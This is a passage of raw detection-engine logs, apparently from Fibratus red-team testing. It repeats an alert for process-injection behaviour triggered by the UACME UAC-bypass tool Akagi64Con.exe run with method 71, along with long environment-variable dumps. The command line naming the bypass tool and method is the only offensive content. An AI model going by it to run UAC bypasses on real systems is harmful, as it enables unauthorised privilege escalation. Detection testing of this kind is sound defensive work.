Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\InspectVhdDialog\53630fcfe154a69bb05be13afd139aea\InspectVhdDialog.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10966994 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8336124 +0100 CET + Params: base_address➜ 7ffcd66f0000, checksum➜ 0, default_address➜ 7ffcd66f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\InspectVhdDialog\53630fcfe154a69bb05be13afd139aea\InspectVhdDialog.ni.exe, image_size➜ 196608, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\InspectVhdDialog\53630fcfe154a69bb05be13afd139aea\InspectVhdDialog.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10966994 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8336124 +0100 CET + Params: base_address➜ 7ffcd66f0000, checksum➜ 0, default_address➜ 7ffcd66f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\InspectVhdDialog\53630fcfe154a69bb05be13afd139aea\InspectVhdDialog.ni.exe, image_size➜ 196608, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance 